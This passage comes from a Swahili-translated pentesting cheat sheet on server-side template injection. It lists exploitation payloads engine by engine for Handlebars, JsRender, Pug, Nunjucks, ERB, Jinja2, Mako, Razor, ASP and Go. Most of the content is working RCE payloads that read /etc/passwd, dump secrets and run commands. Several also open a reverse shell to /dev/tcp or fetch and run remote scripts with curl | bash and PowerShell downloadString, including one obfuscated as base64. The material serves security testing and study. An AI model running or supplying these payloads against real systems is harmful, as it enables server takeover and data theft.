%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**Maelezo zaidi**
- [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender (NodeJS)
| **Kigezo** | **Maelezo** |
| ------------ | --------------------------------------- |
| | Thibitisha na uwasilishe matokeo |
| | Thibitisha na uwasilishe matokeo yaliyowekwa HTML |
| | Maoni |
| na | Ruhusu msimbo (imezimwa kwa default) |
- \= 49
**Upande wa Mteja**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Seva Kando**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Maelezo zaidi**
- [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
### PugJs (NodeJS)
- `#{7*7} = 49`
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Mfano wa uwasilishaji upande wa seva**
```javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)
```
**Taarifa zaidi**
- [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
- \{{7\*7\}} = 49
- \{{foo\}} = Hakuna matokeo
- \#{7\*7} = #{7\*7}
- \{{console.log(1)\}} = Kosa
```javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
```
**Taarifa zaidi**
- [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### NodeJS Nyingine
<figure><img src="../../images/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../images/image (1) (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
- Taarifa zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### ERB (Ruby)
- `{{7*7}} = {{7*7}}`
- `${7*7} = ${7*7}`
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**Taarifa zaidi**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Slim (Ruby)
- `{ 7 * 7 }`
```
{ %x|env| }
```
**Taarifa zaidi**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Ruby Nyingine
<figure><img src="../../images/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../images/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
- Taarifa zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Python
Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kutekeleza amri zisizo na mipaka kwa kukwepa sandboxes** katika python:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### Tornado (Python)
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
- `{{foobar}} = Error`
- `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Taarifa zaidi**
- [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
### Jinja2 (Python)
[Website rasmi](http://jinja.pocoo.org)
> Jinja2 ni injini ya templeti yenye vipengele kamili kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox, inatumika sana na ina leseni ya BSD.
- `{{7*7}} = Hitilafu`
- `${7*7} = ${7*7}`
- `{{foobar}} Hakuna`
- `{{4*4}}[[5*5]]`
- `{{7*'7'}} = 7777777`
- `{{config}}`
- `{{config.items()}}`
- `{{settings.SECRET_KEY}}`
- `{{settings}}`
- `<div data-gb-custom-block data-tag="debug"></div>`
```python
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Muundo wa kiolezo**
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
```
[**RCE si tegemezi kutoka**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Maelezo zaidi kuhusu jinsi ya kutumia Jinja**:
{{#ref}}
jinja2-ssti.md
{{#endref}}
Payloads nyingine katika [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
**Maelezo zaidi**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Python Nyingine
<figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
<figure><img src="../../images/image (3) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
- Maelezo zaidi katika [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
- `@(2+2) <= Success`
- `@() <= Success`
- `@("{{code}}") <= Success`
- `@ <=Success`
- `@{} <= ERROR!`
- `@{ <= ERRROR!`
- `@(1+2)`
- `@( //C#Code )`
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa webapp iliyo hatarini katika [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Maelezo zaidi**
- [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](<https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/>)
- [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### ASP
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
- `<%= foo %>` = Nothing
- `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Taarifa Zaidi**
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### Mojolicious (Perl)
Hata kama ni perl inatumia lebo kama ERB katika Ruby.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
```
<%= perl code %>
<% perl code %>
```
### SSTI katika GO
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:
- `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kimepitishwa, `{{ .Password }}` kinaweza kukifichua.
- `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha mfuatano wa maneno "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Payload hizi zinapaswa kurudisha "ssti" bila kuongezea "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**Ushambuliaji wa XSS**
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inakodisha jibu ili kuzuia hili (kwa mfano, `{{"<script>alert(1)</script>"}}` inasababisha `&lt;script&gt;alert(1)&lt;/script&gt;`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**Ushambuliaji wa RCE**
Ushambuliaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumiwa kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kutekeleza hili, kama katika mfano uliopewa:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Maelezo Zaidi**
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Matukio Zaidi
Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) kwa matukio zaidi. Pia unaweza kupata habari za kuvutia kuhusu lebo katika [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{% file src="../../images/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
## Msaada Husika
Ikiwa unafikiri inaweza kuwa na manufaa, soma:
- [Flask tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python magic functions](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
## Zana
- [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
- [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## Orodha ya Ugunduzi wa Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## Mazoezi & Marejeleo
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
- [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
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